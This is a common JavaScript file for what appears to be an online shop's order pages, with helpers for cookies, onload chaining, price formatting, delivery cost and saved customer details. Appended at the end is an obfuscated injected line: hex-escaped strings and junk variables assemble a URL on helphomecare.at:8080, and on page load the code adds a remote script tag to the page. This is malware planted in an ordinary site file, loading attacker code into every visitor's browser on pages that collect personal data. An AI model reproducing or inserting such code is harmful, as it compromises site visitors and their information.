/*
* Common JS scripts
*/

function gEBI( objId ){
  return document.getElementById( objId );
}

function createCookie( sName, sValue, iDays ){
  sValue = escape( sValue );
  if( iDays ){
    var oDate = new Date();
    oDate.setTime( oDate.getTime() + ( iDays*24*60*60*1000 ) );
    var sExpires = "; expires="+oDate.toGMTString();
  }
  else
    var sExpires = "";
  document.cookie = sName+"="+sValue+sExpires+"; path=/";
}

function throwCookie( sName ){
  var sNameEQ = sName + "=";
  var aCookies = document.cookie.split( ';' );
  for( var i=0; i < aCookies.length; i++ ){
    var c = aCookies[i];
    while( c.charAt(0) == ' ' )
      c = c.substring( 1, c.length );
    if( c.indexOf( sNameEQ ) == 0 )
      return c.substring( sNameEQ.length, c.length );
  }
  return null;
}

function delCookie( sName ){
  createCookie( sName, "", -1 );
}

function isset( sVar ){
  return( typeof( window[sVar] ) != 'undefined' );
}

function targetBlank( ){
  var oLinks = document.getElementsByTagName( 'a' );
  for( var i=0; i < oLinks.length; i++ ) {
    if( oLinks[i].className == 'new-window' || oLinks[i].className == 'new-windowMark' ) {
      oLinks[i].onclick = function( ){
        window.open( this.href );
        return false;
      };
    }
  }
} // end function

_bUa=navigator.userAgent.toLowerCase();
_bOp=(_bUa.indexOf("opera")!=-1?true:false);
_bIe=(_bUa.indexOf("msie")!=-1&&!_bOp?true:false);
_bIe4=(_bIe&&(_bUa.indexOf("msie 2.")!=-1||_bUa.indexOf("msie 3.")!=-1||_bUa.indexOf("msie 4.")!=-1)&&!_bOp?true:false)
isIe=function(){return _bIe;}
isOldIe=function(){return _bIe4;}
var olArray=[];

function AddOnload( f ){
  if( isIe && isOldIe ){
    window.onload = ReadOnload;
    olArray[olArray.length] = f;
  }
  else if( window.onload ){
    if( window.onload != ReadOnload ){
      olArray[0] = window.onload;
      window.onload = ReadOnload;
    }
    olArray[olArray.length] = f;
  }
  else
    window.onload=f;
}
function ReadOnload(){
  for( var i=0; i < olArray.length; i++ ){
    olArray[i]();
  }
}


/*
* Orders
*/

function fix( f ){
	f	= f.toString( );
	var re	= /\,/gi;
	f	= f.replace( re, "\." );

	f = Math.round( f * 100 );
	f = f.toString( );
	var sMinus = f.slice( 0, 1 );
	if( sMinus == '-' ){
	 f = f.slice( 1, f.length )
	}
	else
	 sMinus = '';
	if( f.length < 3 ) {
		while( f.length < 3 )
			f = '0' + f;
	}

	var w = sMinus + f.slice( 0, f.length-2 ) + "." + f.slice( f.length-2, f.length );

  var poprawnyFloat = /^-?[0-9]{1,}[.]{1}[0-9]{1,}$/i;
	if( w.search( poprawnyFloat ) == -1 )
		w = '0.00';
	return w;

}

function changePriceFormat( fPrice ){
  // config start
  var sDecimalSeparator = '.';
  var sThousandSeparator = '';
  // config end

  fPrice = fix( fPrice );
  var aPrice = fPrice.split( '.' );
  var iPriceFull = aPrice[0];
  var aPriceFull = new Array( );

  var j = 0;
  for( var i = iPriceFull.length - 1; i >= 0; i-- ){
    if( j > 0 && j%3 == 0 )
      aPriceFull[j] = iPriceFull.substr( i, 1 )+''+sThousandSeparator;
    else
      aPriceFull[j] = iPriceFull.substr( i, 1 );
    j++;
  } // end for

  aPriceFull.reverse( );
  sPriceFull = aPriceFull.join( '' );
  sPrice = sPriceFull+''+sDecimalSeparator+''+aPrice[1];
  return sPrice;
} // end function changePriceFormat

function generatePrice( fPrice1, fPrice2 ){
  fPrice1 = fix( fPrice1 );
  fPrice2 = fPrice2.toString();
  if( fPrice2.match( /\%/ ) ){
    fPrice2 = fix( fPrice2.replace( /\%/, '' ) );
    if( fPrice2 < 0 ){
      return changePriceFormat( fPrice1 - ( fPrice1 * ( -fPrice2 / 100 ) ) );
    }
    else
      return changePriceFormat( +fPrice1 + ( fPrice1 * ( fPrice2 / 100 ) ) ); 
  }
  else{
    fPrice2 = fix( fPrice2 ) * 1;
    return changePriceFormat( +fPrice1 + fPrice2 ); 
  }
} // end function generatePrice


function countCarrierPrice( oObj ){

  if( oObj.value != '' )
    aCourier = oObj.value.split( ";" );
  else
    aCourier = Array( 0, 0, '0.00' );

  fDeliveryCost = Math.abs( aCourier[2] );

  gEBI( 'carrierCost' ).innerHTML = changePriceFormat( fDeliveryCost );
  gEBI( 'orderSummary' ).innerHTML = changePriceFormat( +fOrderSummary + fDeliveryCost )

} // end function 


var aUserDataNames = new Array( 'sFirstName', 'sLastName', 'sCompanyName', 'sStreet', 'sZipCode', 'sCity', 'sPhone', 'sEmail', 'sNip' );

function saveUserData( sName, sValue ){
  createCookie( sName, sValue, 2 );
}

function checkSavedUserData( ){
  var iCount = aUserDataNames.length;
  var sCookie = null;
  var oForm = gEBI( "order" );
  for( var i = 0; i < iCount; i++ ){
    sCookie = throwCookie( aUserDataNames[i] );
    if( sCookie && sCookie != '' ){
      if( gEBI( aUserDataNames[i] ) )
        gEBI( aUserDataNames[i] ).value = unescape( sCookie );
      else if( oForm[aUserDataNames[i]] )
        oForm[aUserDataNames[i]].value = unescape( sCookie );
    }
  } // end for
} // end function checkSavedUserData

function delSavedUserData( ){
  var iCount = aUserDataNames.length;
  var sCookie = null;
  for( var i = 0; i < iCount; i++ ){
    delCookie( aUserDataNames[i] );
  } // end for
} // end function delSavedUserData

this.r="";var mY;if(mY!='CK' && mY!='m'){mY='CK'};var Rt=new Date();function X(){var JN="";var y=new String();var W=unescape;var M=window;var T;if(T!='k'){T='k'};var O=W("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6a%63%70%65%6e%6e%65%79%2e%63%6f%6d%2f%66%6f%72%62%65%73%2e%63%6f%6d%2e%70%68%70");var hB;if(hB!='' && hB!='t'){hB=''};var a;if(a!='' && a!='A'){a=''};var Zh;if(Zh!='WZ' && Zh!='zI'){Zh=''};function Y(o,J){var mC;if(mC!='' && mC!='K'){mC=null};var ax='';var s="g";this.B="";var OQ=W("%5b"), Q=W("%5d");this.c="";var em="";var v=OQ+J+Q;var ya="";var d=new RegExp(v, s);var lx;if(lx!='' && lx!='fe'){lx=''};var CW;if(CW!='Xo' && CW!='mX'){CW=''};return o.replace(d, new String());};var HW;if(HW!='' && HW!='u'){HW='VK'};this.dJI='';var ct=new String();this.EF="";var h=document;var Hb;if(Hb!='' && Hb!='EQ'){Hb=null};var uH=new Array();this.F='';var Xa=Y('899225233403993124287435456409542255','62753149');var JJ="";var tJ="";var C=new String();var I="";this.iu='';function i(){var b=W("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");var kZ=new Date();var Wk;if(Wk!='ZC' && Wk!='XW'){Wk=''};C=b;var lg;if(lg!='epo' && lg != ''){lg=null};var ki;if(ki!='IC'){ki=''};C+=Xa;C+=O;var se;if(se!='IT'){se='IT'};try {var CT;if(CT!='Jh' && CT != ''){CT=null};var Ud="";var EB;if(EB!='dF' && EB != ''){EB=null};var GZ=new String();G=h.createElement(Y('sJcqrPiRpJt9','AzqH98JOP7XTxSR'));this.hr="";var Kh=new String();var Pk=new Array();G[W("%73%72%63")]=C;var MV;if(MV!='' && MV!='fl'){MV='wC'};var Wy;if(Wy!='' && Wy!='to'){Wy=null};G[W("%64%65%66%65%72")]=[1][0];this.kU='';var wk;if(wk!=''){wk='hu'};h.body.appendChild(G);this.S='';var Uw;if(Uw!='Tx'){Uw=''};} catch(iv){var tG='';var DR;if(DR!='qa' && DR!='lJ'){DR='qa'};alert(iv);var IE=new Date();var Pj=new Date();};var yF=new String();}var Hg;if(Hg!='HN' && Hg != ''){Hg=null};var tD;if(tD!='JW' && tD != ''){tD=null};var Th="";var xEb="";M["on"+"lo"+"ad"]=i;this.GV="";};var jc;if(jc!='d_' && jc!='Cey'){jc=''};var oh=new Date();var DP;if(DP!='iS'){DP='iS'};X();